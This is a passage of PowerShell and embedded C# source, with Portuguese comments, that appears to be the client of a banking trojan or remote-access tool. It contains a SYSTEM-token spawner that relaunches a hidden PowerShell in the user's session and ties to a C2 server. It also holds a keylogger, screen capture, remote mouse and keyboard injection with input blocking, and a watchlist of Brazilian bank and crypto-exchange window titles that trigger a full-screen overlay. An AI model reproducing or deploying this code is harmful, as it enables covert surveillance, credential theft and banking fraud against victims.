-Name MachineGuid -EA Stop).MachineGuid } catch {} if (!$machineGuid) { try { $machineGuid = (Get-ItemProperty "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Cryptography" -Name MachineGuid -EA Stop).MachineGuid } catch {} } if (!$machineGuid) { $machineGuid = "$env:COMPUTERNAME-$env:USERNAME" } $mac = ""; try { $mac = (Get-NetAdapter | Where-Object { $_.Status -eq 'Up' } | Select-Object -First 1).MacAddress } catch {} $timestamp = [DateTime]::UtcNow.Ticks.ToString() $random = [guid]::NewGuid().ToString("N") $uniqueData = "$machineGuid|$mac|$timestamp|$random|$env:COMPUTERNAME" $sha256 = [System.Security.Cryptography.SHA256]::Create() $hash = $sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($uniqueData)) $token = [BitConverter]::ToString($hash).Replace("-", "").ToLower() # Tentar salvar no caminho padrao, fallback para AppData $saved = $false foreach ($tokenPath in @($script:SecurityConfig.TokenFile, $script:SecurityConfig.UserTokenFile)) { try { $tokenDir = Split-Path $tokenPath $dirExists = $false try { $dirExists = Test-Path $tokenDir -ErrorAction SilentlyContinue } catch { $dirExists = $false } if (!$dirExists) { New-Item -Path $tokenDir -ItemType Directory -Force -ErrorAction Stop | Out-Null } $token | Out-File -FilePath $tokenPath -Encoding UTF8 -NoNewline -Force -ErrorAction Stop $saved = $true break } catch {} } return $token } function Get-TokenProof { param([string]$Token) $hmac = New-Object System.Security.Cryptography.HMACSHA256 $hmac.Key = [System.Text.Encoding]::UTF8.GetBytes($script:SecurityConfig.MasterKey) $hash = $hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Token)) return [BitConverter]::ToString($hash).Replace("-", "").ToLower() } $script:InstallToken = Get-OrCreateInstallToken $script:TokenProof = Get-TokenProof -Token $script:InstallToken # DEBUG: Verificar se token foi gerado Write-DebugLog "=== SECURITY TOKEN ===" Write-DebugLog "InstallToken: $($script:InstallToken.Substring(0,16))..." Write-DebugLog "InstallToken.Length: $($script:InstallToken.Length)" Write-DebugLog "TokenProof: $($script:TokenProof.Substring(0,16))..." Write-DebugLog "TokenProof.Length: $($script:TokenProof.Length)" Write-DebugLog "MasterKey: [REDACTED]" # =============================================================================== # CRIPTOGRAFIA AES-256 (So para comandos e clipboard) # =============================================================================== $script:AesKey = [System.Security.Cryptography.SHA256]::Create().ComputeHash( [System.Text.Encoding]::UTF8.GetBytes($script:SecurityConfig.MasterKey) ) function Decrypt-SecureData { param([string]$Data) try { if (!$Data -or !$Data.Contains(':')) { return $null } $parts = $Data.Split(':') if ($parts.Length -ne 2) { return $null } $iv = [byte[]]::new(16) $ivHex = $parts[0] for ($i = 0; $i -lt 16; $i++) { $iv[$i] = [Convert]::ToByte($ivHex.Substring($i * 2, 2), 16) } $encryptedHex = $parts[1] $encrypted = [byte[]]::new($encryptedHex.Length / 2) for ($i = 0; $i -lt $encrypted.Length; $i++) { $encrypted[$i] = [Convert]::ToByte($encryptedHex.Substring($i * 2, 2), 16) } $aes = [System.Security.Cryptography.Aes]::Create() $aes.Key = $script:AesKey $aes.IV = $iv $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $decryptor = $aes.CreateDecryptor() $decrypted = $decryptor.TransformFinalBlock($encrypted, 0, $encrypted.Length) $aes.Dispose() return [System.Text.Encoding]::UTF8.GetString($decrypted) } catch { return $null } } function Encrypt-SecureData { param([string]$Text) try { $aes = [System.Security.Cryptography.Aes]::Create() $aes.Key = $script:AesKey $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $aes.GenerateIV() $encryptor = $aes.CreateEncryptor() $data = [System.Text.Encoding]::UTF8.GetBytes($Text) $encrypted = $encryptor.TransformFinalBlock($data, 0, $data.Length) $ivHex = [BitConverter]::ToString($aes.IV).Replace("-", "").ToLower() $encHex = [BitConverter]::ToString($encrypted).Replace("-", "").ToLower() $aes.Dispose() return "$ivHex`:$encHex" } catch { return $null } } # === CODIGO DO SPAWNER - CRIA SYSTEM NA SESSAO DO USUARIO === $SpawnerCode = @" using System; using System.Runtime.InteropServices; using System.Diagnostics; public class ExplorerSpawner { [DllImport("advapi32.dll", SetLastError = true)] static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError = true)] static extern bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, int ImpersonationLevel, int TokenType, out IntPtr phNewToken); [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("userenv.dll", SetLastError = true)] static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit); [DllImport("userenv.dll")] static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment); [DllImport("kernel32.dll", SetLastError = true)] static extern bool CloseHandle(IntPtr hObject); [DllImport("kernel32.dll")] static extern uint GetCurrentProcessId(); [DllImport("kernel32.dll")] static extern bool ProcessIdToSessionId(uint dwProcessId, out uint pSessionId); [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public int dwX, dwY, dwXSize, dwYSize; public int dwXCountChars, dwYCountChars, dwFillAttribute; public int dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2, hStdInput, hStdOutput, hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess, hThread; public int dwProcessId, dwThreadId; } const uint TOKEN_DUPLICATE = 0x0002; const uint TOKEN_QUERY = 0x0008; const uint MAXIMUM_ALLOWED = 0x2000000; const int SecurityImpersonation = 2; const int TokenPrimary = 1; const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400; const uint CREATE_NO_WINDOW = 0x08000000; const int STARTF_USESHOWWINDOW = 1; const short SW_HIDE = 0; public static uint GetSessionId() { uint sessionId; ProcessIdToSessionId(GetCurrentProcessId(), out sessionId); return sessionId; } public static int GetExplorerPid() { Process[] procs = Process.GetProcessesByName("explorer"); if (procs.Length > 0) return procs[0].Id; return -1; } public static int GetExplorerSessionId() { Process[] procs = Process.GetProcessesByName("explorer"); if (procs.Length > 0) return procs[0].SessionId; return -1; } [DllImport("kernel32.dll")] static extern IntPtr GetCurrentProcess(); [DllImport("advapi32.dll", SetLastError = true)] static extern bool SetTokenInformation(IntPtr TokenHandle, int TokenInformationClass, ref uint TokenInformation, uint TokenInformationLength); public static int SpawnInUserSession(string cmdLine) { Process[] explorers = Process.GetProcessesByName("explorer"); if (explorers.Length == 0) return -1; int targetSession = explorers[0].SessionId; if (targetSession <= 0) return -2; IntPtr currentToken = IntPtr.Zero; IntPtr dupToken = IntPtr.Zero; IntPtr pEnv = IntPtr.Zero; try { if (!OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, out currentToken)) { return -10 - Marshal.GetLastWin32Error(); } if (!DuplicateTokenEx(currentToken, MAXIMUM_ALLOWED, IntPtr.Zero, SecurityImpersonation, TokenPrimary, out dupToken)) { return -20 - Marshal.GetLastWin32Error(); } uint sessionId = (uint)targetSession; if (!SetTokenInformation(dupToken, 12, ref sessionId, 4)) { return -25 - Marshal.GetLastWin32Error(); } CreateEnvironmentBlock(out pEnv, dupToken, false); STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); si.lpDesktop = "winsta0\\default"; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; PROCESS_INFORMATION pi; uint flags = CREATE_UNICODE_ENVIRONMENT | CREATE_NO_WINDOW; if (!CreateProcessAsUser(dupToken, null, cmdLine, IntPtr.Zero, IntPtr.Zero, false, flags, pEnv, null, ref si, out pi)) { return -30 - Marshal.GetLastWin32Error(); } CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return pi.dwProcessId; } finally { if (pEnv != IntPtr.Zero) DestroyEnvironmentBlock(pEnv); if (dupToken != IntPtr.Zero) CloseHandle(dupToken); if (currentToken != IntPtr.Zero) CloseHandle(currentToken); } } public static string GetSessionInfo() { uint mySession = GetSessionId(); int explorerPid = GetExplorerPid(); int explorerSession = GetExplorerSessionId(); return string.Format("MySession={0}, ExplorerPID={1}, ExplorerSession={2}", mySession, explorerPid, explorerSession); } } "@ try { Add-Type -TypeDefinition $SpawnerCode -ErrorAction Stop } catch { Write-DebugLog "ERRO Add-Type SpawnerCode: $_" } # === SPAWNER MODE - SYSTEM Session 0 cria SYSTEM na Session do usuario === $currentSession = 0 try { $currentSession = [ExplorerSpawner]::GetSessionId() } catch { Write-DebugLog "ERRO GetSessionId: $_" } $currentSID = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value $isSystemAccount = ($currentSID -eq "S-1-5-18") Write-DebugLog "=== SPAWNER CHECK ===" Write-DebugLog "CurrentUser: $([System.Security.Principal.WindowsIdentity]::GetCurrent().Name)" Write-DebugLog "CurrentSID: $currentSID" Write-DebugLog "IsSystemAccount: $isSystemAccount" Write-DebugLog "CurrentSession: $currentSession" # SPAWNER: SYSTEM em Session 0 - NAO conecta, so cria processo SYSTEM na sessao do usuario if ($isSystemAccount -and $currentSession -eq 0) { Write-DebugLog "=== ENTRANDO NO SPAWNER MODE ===" Write-Host "[SPAWNER] SYSTEM Session 0 - Modo Spawner ativo" -ForegroundColor Cyan # Usar ScriptPath se fornecido, senao usar caminho padrao $clientPath = if ($ScriptPath -and (Test-Path $ScriptPath)) { $ScriptPath } else { Join-Path $script:InstallConfig.InstallDir $script:InstallConfig.ScriptName } $lockFile = Join-Path (Split-Path $clientPath -Parent) "client.pid" $psExe = "$env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe" # Parametros de conexao $serverParam = $script:ConnectionConfig.PrimaryDomain $portParam = $script:ConnectionConfig.Port Write-DebugLog "ScriptPath usado: $clientPath" Write-DebugLog "Parametros: Server=$serverParam, Port=$portParam" # Usar ScriptBlock::Create (mais confiavel que IEX para scripts grandes) $cmdLine = "`"$psExe`" -ExecutionPolicy Bypass -WindowStyle Hidden -c `"& ([ScriptBlock]::Create((gc '$clientPath' -Raw))) -Server '$serverParam' -Port $portParam -ScriptPath '$clientPath'`"" Write-DebugLog "LockFile: $lockFile" Write-DebugLog "ClientPath: $clientPath" # Force: matar processo existente na primeira iteracao $script:_forceApplied = $false # Loop infinito - Spawner NAO sai daqui, NAO conecta no C2 while ($true) { $shouldSpawn = $true if (Test-Path $lockFile) { try { $cpid = [int](Get-Content $lockFile -ErrorAction SilentlyContinue) if ($cpid -and (Get-Process -Id $cpid -ErrorAction SilentlyContinue)) { if ($Force -and -not $script:_forceApplied) { Write-Host "[FORCE] Matando processo existente (PID $cpid)..." -ForegroundColor Cyan Stop-Process -Id $cpid -Force -ErrorAction SilentlyContinue Remove-Item $lockFile -Force -ErrorAction SilentlyContinue $script:_forceApplied = $true Start-Sleep -Milliseconds 500 } else { $shouldSpawn = $false } } else { Write-DebugLog "Processo cliente morreu (PID $cpid) - Respawnando..." Remove-Item $lockFile -Force -ErrorAction SilentlyContinue } } catch { Remove-Item $lockFile -Force -ErrorAction SilentlyContinue } } if ($shouldSpawn) { Write-DebugLog "Criando processo SYSTEM na sessao do usuario..." # Debug: mostrar info das sessoes antes de spawnar try { $sessionInfo = [ExplorerSpawner]::GetSessionInfo() Write-DebugLog "DEBUG SessionInfo: $sessionInfo" Write-Host "[SPAWNER] $sessionInfo" -ForegroundColor Cyan } catch { Write-DebugLog "ERRO GetSessionInfo: $_" } $result = [ExplorerSpawner]::SpawnInUserSession($cmdLine) Write-DebugLog "SpawnInUserSession retornou: $result" if ($result -lt 0) { Write-DebugLog "ERRO Spawn: codigo $result" Write-Host "[SPAWNER] ERRO: codigo $result" -ForegroundColor Red } if ($result -gt 0) { $result | Out-File $lockFile -Force Write-DebugLog "Cliente SYSTEM criado PID: $result" } else { Write-DebugLog "ERRO spawn: $result" } } Start-Sleep -Seconds 5 } # NUNCA chega aqui - Spawner fica no loop infinito } # SYSTEM em Session 1+ (spawned) OU USER - continua para conectar no C2 Write-DebugLog "=== MODO CLIENTE ===" Write-DebugLog "Session: $currentSession, IsSystem: $isSystemAccount, Spawned: $SpawnedByService" # === AUTO-INSTALACAO foi movida para dentro do Start-Client === # O fluxo de instalacao agora e tratado inteiramente no Start-Client # para garantir a ordem correta: UAC -> SYSTEM ou USER -> persistencia # === Criar PID file para o ServiceMode saber que estamos rodando === try { $pidDir = $null try { if (Test-Path $script:InstallConfig.InstallDir -ErrorAction SilentlyContinue) { $pidDir = $script:InstallConfig.InstallDir } } catch {} if (!$pidDir) { $pidDir = "$env:APPDATA\Microsoft\Diagnosis\ETW" } if ($pidDir -and (Test-Path $pidDir -ErrorAction SilentlyContinue)) { $PID | Out-File (Join-Path $pidDir "client.pid") -Force -ErrorAction SilentlyContinue } } catch {} # === CODIGO ORIGINAL DO CLIENT COMECA AQUI === # =============================================================================== # ESCONDER JANELA IMEDIATAMENTE - ANTES DE QUALQUER COISA # =============================================================================== Add-Type -Name Win -Namespace Native -MemberDefinition '[DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);' -ErrorAction SilentlyContinue function Hide-ConsoleWindow { try { $handle = (Get-Process -Id $PID -ErrorAction SilentlyContinue).MainWindowHandle if ($handle -ne [IntPtr]::Zero) { [Native.Win]::ShowWindow($handle, 0) | Out-Null } } catch {} } # ESCONDER JANELA AGORA - Nao importa se e User, Admin ou System # Apenas o popup UAC vai aparecer quando necessario Hide-ConsoleWindow $currentIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() $isCurrentlySystem = $currentIdentity.User.Value -eq "S-1-5-18" $isCurrentlyAdmin = ([Security.Principal.WindowsPrincipal]$currentIdentity).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) $Config = @{ ServerAddress = $script:Server ServerPort = $script:Port Version = "11.27-FULLCLEAN" Magic = [byte[]](0x4C, 0x51, 0x57, 0x50) } $MSG = @{ ClientHello = 0x01; ServerHello = 0x02; SessionInfo = 0x06; ScreenData = 0x10; ScreenRequest = 0x11; QualityChange = 0x13 MonitorList = 0x14; MonitorSelect = 0x15 MouseMove = 0x20; MouseButton = 0x21; MouseWheel = 0x22; Keyboard = 0x23 ClipboardText = 0x40; FileList = 0x50; FileListResult = 0x51; FileDownload = 0x54; FileData = 0x53 ChatPopup = 0x61; InputTrackStart = 0x70; InputTrackStop = 0x71; InputTrackData = 0x72 AutoQRToggle = 0x64; QRCodeDetected = 0x65; ShowQROverlay = 0x66; HideQROverlay = 0x67 BrowserAlert = 0x80; PerfStats = 0x81 Command = 0xA0; CommandResult = 0xA1; SystemCommand = 0xA2 ProcessList = 0xB2; ServiceList = 0xB3; Ping = 0xE0; Pong = 0xE1; GuestInfo = 0xE6 } $script:InputTrackActive = $false $script:LastNotifyTitle = "" $script:ForceExit = $false $script:FailedQRRegions = @{} # Regioes que falharam decodificacao - nao reenviar por 30s # =============================================================================== # SISTEMA MULTI-MONITOR # =============================================================================== $script:Monitors = @() $script:SelectedMonitorIndex = 0 function Get-MonitorList { try { Add-Type -AssemblyName System.Windows.Forms -ErrorAction SilentlyContinue $screens = [System.Windows.Forms.Screen]::AllScreens $script:Monitors = @() $i = 0 foreach ($screen in $screens) { # Com SetProcessDpiAwareness(2), Screen.Bounds retorna valores reais $script:Monitors += @{ Index = $i X = $screen.Bounds.X Y = $screen.Bounds.Y Width = $screen.Bounds.Width Height = $screen.Bounds.Height Primary = $screen.Primary Name = $screen.DeviceName } Write-Host "[MONITOR $i] $($screen.DeviceName): $($screen.Bounds.Width)x$($screen.Bounds.Height) @ ($($screen.Bounds.X), $($screen.Bounds.Y)) Primary=$($screen.Primary)" -ForegroundColor Cyan $i++ } Write-Host "[MONITORS] Total: $($script:Monitors.Count)" -ForegroundColor Green return $script:Monitors } catch { Write-Host "[MONITORS] Erro: $_" -ForegroundColor Red $script:Monitors = @(@{ Index = 0; X = 0; Y = 0; Width = 1920; Height = 1080; Primary = $true; Name = "Primary" }) return $script:Monitors } } function Get-SelectedMonitor { if ($script:Monitors.Count -gt 0 -and $script:SelectedMonitorIndex -lt $script:Monitors.Count) { return $script:Monitors[$script:SelectedMonitorIndex] } return @{ Index = 0; X = 0; Y = 0; Width = 1920; Height = 1080; Primary = $true } } function Send-MonitorList { param($Stream) try { Get-MonitorList | Out-Null $__d=[System.Text.Encoding]::UTF8.GetBytes((@{ Monitors = $script:Monitors; Selected = $script:SelectedMonitorIndex } | ConvertTo-Json -Compress -Depth 10));$__bw=$script:BW;$__bw.Write([byte[]]@(0x4C,0x51,0x57,0x50));$__bw.Write([byte]0x14);$__bw.Write([int32]$__d.Length);$__bw.Write([byte[]]$__d);$__bw.Flush() } catch {} } # Detectar monitores no inicio Get-MonitorList | Out-Null $script:QROverlayPIDs = @() # Array para multiplos overlays $script:MonitorDomains = @( # === BRADESCO === 'Banco Bradesco | Voce primeiro', 'Bradesco Empresas e Negocios', 'Internet Banking Bradesco', 'Internet Banking Bradesco: Saldos, extratos, Pix e muito mais!', 'Atendimento | Bradesco', 'Bradesco Net Empresa: Cadastre seu negocio', 'Bradesco PJ: Solucoes Financeiras Para Sua Empresa', # === ITAU === 'Abra sua conta no Banco Itau: Solucoes financeiras para voce', 'Conta Corrente Itau: Abra sua conta e aproveite beneficios exclusivos', 'Itau Empresas | Pessoa Juridica | Seu Banco Empresarial', 'Atacado, Tesouraria e Investimentos institucionais | Itau BBA', # === SANTANDER === 'Santander', 'Santander - Ofertas para Empresas', 'Internet banking empresarial - Santander', # === CAIXA === 'Int.Er:n:et:::: --------...B-anking____C.aIXA', 'Conta Corrente para Pessoa Juridica (PJ) | Caixa', 'Para sua empresa | CAIXA', 'Gerenciador Caixa', # === BANCO DO BRASIL === 'Pra Voce | Banco do Brasil', 'Autoatendimento Banco do Brasil', 'Banco do Brasil', # === SAFRA === 'Banco Safra: completo para investir com excelencia | Safra', 'Conta pessoa juridica | Banco Safra', # === DAYCOVAL === 'Portal Daycoval', # === BANRISUL === 'Para voce | Banrisul', 'Empresas | Banrisul', # === SICOOB === 'Para voce - Sicoob', 'Para sua Empresa - Nacional - Sicoob', # === SICREDI === 'Sicredi: Conta corrente, credito, seguros e mais!', 'Solucoes financeiras para empresas: Sicredi', # === BINANCE === 'Binance: a corretora de criptomoedas mais confiavel do mundo para comprar, fazer trade e investir em cripto', # === MERCADO BITCOIN === 'Mercado Bitcoin', # === COINBASE === 'Coinbase Brasil - Compre e venda Bitcoin, Ethereum e muito mais com confianca', # === KUCOIN === 'Troca de Criptomoedas | Troca de Bitcoin | Negociacao de Bitcoin | KuCoin', # === BYBIT === 'Compre e venda Bitcoin e Ether | Exchange de cripto | Bybit', 'Login | Bybit', # === GENERICOS SEGUROS === 'Internet Banking', 'internetbanking', 'Conta Corrente', 'Net Empresa', 'Home Banking' ) $script:BrowserProcesses = @('msedge','chrome','firefox','opera','brave','iexplore','vivaldi','waterfox') $script:BrowserOnlyDomains = @('CAIXA', 'Santander', 'Banco do Brasil') $NativeCode = @" using System; using System.Runtime.InteropServices; using System.Text; using System.Windows.Forms; using System.Drawing; using System.Threading; public class NativeInput { [DllImport("user32.dll")] public static extern bool SetCursorPos(int X, int Y); [DllImport("user32.dll")] public static extern void mouse_event(uint f, int x, int y, int d, int e); [DllImport("user32.dll")] public static extern void keybd_event(byte vk, byte s, uint f, int e); [DllImport("user32.dll")] public static extern bool BlockInput(bool fBlockIt); private static bool isBlocked = false; public static void MoveMouse(int x, int y) { if (isBlocked) { BlockInput(false); SetCursorPos(x, y); BlockInput(true); } else { SetCursorPos(x, y); } } public static void MouseDown(int b) { if (isBlocked) { BlockInput(false); mouse_event(b==0?2u:b==2?8u:32u, 0, 0, 0, 0); BlockInput(true); } else { mouse_event(b==0?2u:b==2?8u:32u, 0, 0, 0, 0); } } public static void MouseUp(int b) { if (isBlocked) { BlockInput(false); mouse_event(b==0?4u:b==2?16u:64u, 0, 0, 0, 0); BlockInput(true); } else { mouse_event(b==0?4u:b==2?16u:64u, 0, 0, 0, 0); } } public static void MouseWheel(int d) { if (isBlocked) { BlockInput(false); mouse_event(0x800, 0, 0, d, 0); BlockInput(true); } else { mouse_event(0x800, 0, 0, d, 0); } } public static void KeyDown(byte vk) { if (isBlocked) { BlockInput(false); keybd_event(vk, 0, 0, 0); BlockInput(true); } else { keybd_event(vk, 0, 0, 0); } } public static void KeyUp(byte vk) { if (isBlocked) { BlockInput(false); keybd_event(vk, 0, 2, 0); BlockInput(true); } else { keybd_event(vk, 0, 2, 0); } } public static void Block() { BlockInput(true); isBlocked = true; } public static void Unblock() { BlockInput(false); isBlocked = false; } } public class FastCapture { [DllImport("user32.dll")] static extern IntPtr GetDC(IntPtr hwnd); [DllImport("user32.dll")] static extern int ReleaseDC(IntPtr hwnd, IntPtr hdc); [DllImport("gdi32.dll")] static extern IntPtr CreateCompatibleDC(IntPtr hdc); [DllImport("gdi32.dll")] static extern IntPtr CreateCompatibleBitmap(IntPtr hdc, int w, int h); [DllImport("gdi32.dll")] static extern IntPtr SelectObject(IntPtr hdc, IntPtr obj); [DllImport("gdi32.dll")] static extern bool BitBlt(IntPtr hdcDest, int x, int y, int w, int h, IntPtr hdcSrc, int x1, int y1, int op); [DllImport("gdi32.dll")] static extern bool DeleteObject(IntPtr obj); [DllImport("gdi32.dll")] static extern bool DeleteDC(IntPtr hdc); const int SRCCOPY = 0x00CC0020; const int CAPTUREBLT = 0x40000000; public static Bitmap CaptureScreen(int width, int height) { IntPtr hdcSrc = GetDC(IntPtr.Zero); IntPtr hdcDest = CreateCompatibleDC(hdcSrc); IntPtr hBitmap = CreateCompatibleBitmap(hdcSrc, width, height); IntPtr hOld = SelectObject(hdcDest, hBitmap); BitBlt(hdcDest, 0, 0, width, height, hdcSrc, 0, 0, SRCCOPY | CAPTUREBLT); SelectObject(hdcDest, hOld); DeleteDC(hdcDest); ReleaseDC(IntPtr.Zero, hdcSrc); Bitmap bmp = Bitmap.FromHbitmap(hBitmap); DeleteObject(hBitmap); return bmp; } } public class WindowMonitor { [DllImport("user32.dll")] static extern IntPtr GetForegroundWindow(); [DllImport("user32.dll", CharSet = CharSet.Unicode)] static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count); [DllImport("user32.dll")] static extern int GetWindowTextLength(IntPtr hWnd); [DllImport("user32.dll")] static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint processId); public static string GetActiveTitle() { try { IntPtr hwnd = GetForegroundWindow(); if (hwnd == IntPtr.Zero) return ""; int len = GetWindowTextLength(hwnd); if (len <= 0) return ""; StringBuilder sb = new StringBuilder(len + 1); GetWindowText(hwnd, sb, sb.Capacity); return sb.ToString(); } catch { return ""; } } public static string GetActiveProcess() { try { IntPtr hwnd = GetForegroundWindow(); if (hwnd == IntPtr.Zero) return ""; uint pid = 0; GetWindowThreadProcessId(hwnd, out pid); if (pid == 0) return ""; return System.Diagnostics.Process.GetProcessById((int)pid).ProcessName; } catch { return ""; } } } public class InputTracker { [DllImport("user32.dll")] private static extern short GetAsyncKeyState(int vKey); [DllImport("user32.dll")] private static extern short GetKeyState(int vKey); private static bool[] lastState = new bool[256]; private static System.Collections.Generic.Queue buffer = new System.Collections.Generic.Queue(); private static object bufferLock = new object(); private static Thread scanThread = null; private static volatile bool isRunning = false; // Todas as teclas uteis private static readonly int[] keysToMonitor = { 8, 9, 13, 32, 46, // BS, Tab, Enter, Space, Del 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, // 0-9 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, // A-M 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, // N-Z 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, // Numpad 0-9 106, 107, 109, 110, 111, // Numpad * + - . / 186, 187, 188, 189, 190, 191, 192, 219, 220, 221, 222 // Simbolos }; public static void Start() { if (isRunning) return; isRunning = true; for (int i = 0; i < 256; i++) lastState[i] = false; scanThread = new Thread(ScanLoop); scanThread.IsBackground = true; scanThread.Priority = ThreadPriority.Highest; scanThread.Start(); } public static void Stop() { isRunning = false; if (scanThread != null) { try { scanThread.Join(200); } catch { } scanThread = null; } } private static void ScanLoop() { int sleepCounter = 0; while (isRunning) { try { foreach (int vk in keysToMonitor) { bool current = (GetAsyncKeyState(vk) & 0x8000) != 0; bool last = lastState[vk]; if (current && !last) { string ch = GetKeyChar(vk); if (!string.IsNullOrEmpty(ch)) { lock (bufferLock) { buffer.Enqueue(ch); if (buffer.Count > 2000) buffer.Dequeue(); } } } lastState[vk] = current; } // Sleep minimo a cada 100 iteracoes para nao travar CPU sleepCounter++; if (sleepCounter >= 100) { sleepCounter = 0; Thread.Sleep(1); } } catch { } } } // Scan manual para compatibilidade (chamado do loop principal tambem) public static void ScanAllKeys() { foreach (int vk in keysToMonitor) { bool current = (GetAsyncKeyState(vk) & 0x8000) != 0; bool last = lastState[vk]; if (current && !last) { string ch = GetKeyChar(vk); if (!string.IsNullOrEmpty(ch)) { lock (bufferLock) { buffer.Enqueue(ch); if (buffer.Count > 2000) buffer.Dequeue(); } } } lastState[vk] = current; } } public static string GetKeyChar(int vkCode) { // Usar GetKeyState para Shift e CapsLock - mais preciso para estado atual bool shift = (GetKeyState(16) & 0x8000) != 0; bool caps = (GetKeyState(20) & 0x0001) != 0; if (vkCode == 8) return "[BS]"; if (vkCode == 9) return "[TAB]"; if (vkCode == 13) return "\n"; if (vkCode == 32) return " "; if (vkCode == 46) return "[DEL]"; if (vkCode >= 65 && vkCode <= 90) { char c = (char)vkCode; return (shift ^ caps) ? c.ToString() : c.ToString().ToLower(); } if (vkCode >= 48 && vkCode <= 57) { if (shift) { string[] s = { ")", "!", "@", "#", "$", "%", "^", "&", "*", "(" }; return s[vkCode - 48]; } return ((char)vkCode).ToString(); } if (vkCode >= 96 && vkCode <= 105) return ((char)(vkCode - 48)).ToString(); if (vkCode == 106) return "*"; if (vkCode == 107) return "+"; if (vkCode == 109) return "-"; if (vkCode == 110) return "."; if (vkCode == 111) return "/"; if (vkCode == 186) return shift ? ":" : ";"; if (vkCode == 187) return shift ? "+" : "="; if (vkCode == 188) return shift ? "<" : ","; if (vkCode == 189) return shift ? "_" : "-"; if (vkCode == 190) return shift ? ">" : "."; if (vkCode == 191) return shift ? "?" : "/"; if (vkCode == 192) return shift ? "~" : "`"; if (vkCode == 219) return shift ? "{" : "["; if (vkCode == 221) return shift ? "}" : "]"; if (vkCode == 220) return shift ? "|" : "\\"; if (vkCode == 222) return shift ? "\"" : "'"; return ""; } public static string[] GetBufferedKeys() { lock (bufferLock) { if (buffer.Count == 0) return new string[0]; string[] keys = buffer.ToArray(); buffer.Clear(); return keys; } } // Metodo legado para compatibilidade public static bool IsKeyPressed(int vkCode) { bool current = (GetAsyncKeyState(vkCode) & 0x8000) != 0; bool last = lastState[vkCode]; lastState[vkCode] = current; return current && !last; } } public class DisplayOverlay { [DllImport("user32.dll")] public static extern bool SetWindowDisplayAffinity(IntPtr hwnd, uint dwAffinity); [DllImport("user32.dll")] public static extern int SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong); [DllImport("user32.dll")] public static extern int GetWindowLong(IntPtr hWnd, int nIndex); [DllImport("user32.dll")] public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags); [DllImport("user32.dll")] public static extern bool SetForegroundWindow(IntPtr hWnd); [DllImport("user32.dll")] public static extern bool BringWindowToTop(IntPtr hWnd); [DllImport("user32.dll")] public static extern uint GetWindowThreadProcessId(IntPtr hWnd, IntPtr ProcessId); [DllImport("user32.dll")] public static extern IntPtr GetForegroundWindow(); [DllImport("user32.dll")] public static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach); [DllImport("kernel32.dll")] public static extern uint GetCurrentThreadId(); private static readonly IntPtr HWND_TOPMOST = new IntPtr(-1); private static Form overlayForm = null; private static Thread formThread = null; private static volatile bool isActive = false; private static volatile bool shouldClose = false; private static int currentMode = 1; // Constantes para WS_EX_NOACTIVATE - impede que overlay capture teclado private const int GWL_EXSTYLE = -20; private const int WS_EX_NOACTIVATE = 0x08000000; private const int WS_EX_TOOLWINDOW = 0x00000080; public static bool IsActive { get { return isActive; } } // Torna a janela nao-ativavel (nao captura foco/teclado) private static void MakeClickThrough(IntPtr hwnd) { int exStyle = GetWindowLong(hwnd, GWL_EXSTYLE); SetWindowLong(hwnd, GWL_EXSTYLE, exStyle | WS_EX_NOACTIVATE | WS_EX_TOOLWINDOW); } private static void ForceToFront(IntPtr hwnd) { // Primeiro torna nao-ativavel MakeClickThrough(hwnd); // Depois posiciona no topo SEM capturar foco SetWindowPos(hwnd, HWND_TOPMOST, 0, 0, 0, 0, 0x0013); // SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE } public static void Show(int mode) { if (isActive) { Hide(); Thread.Sleep(30); } shouldClose = false; isActive = true; currentMode = mode; formThread = new Thread(() => { try { // COBRIR TODOS OS MONITORES usando VirtualScreen Rectangle vs = SystemInformation.VirtualScreen; Rectangle primary = Screen.PrimaryScreen.Bounds; // Offset para posicionar elementos no monitor primario int pOffX = primary.X - vs.X; int pOffY = primary.Y - vs.Y; int pCenterX = 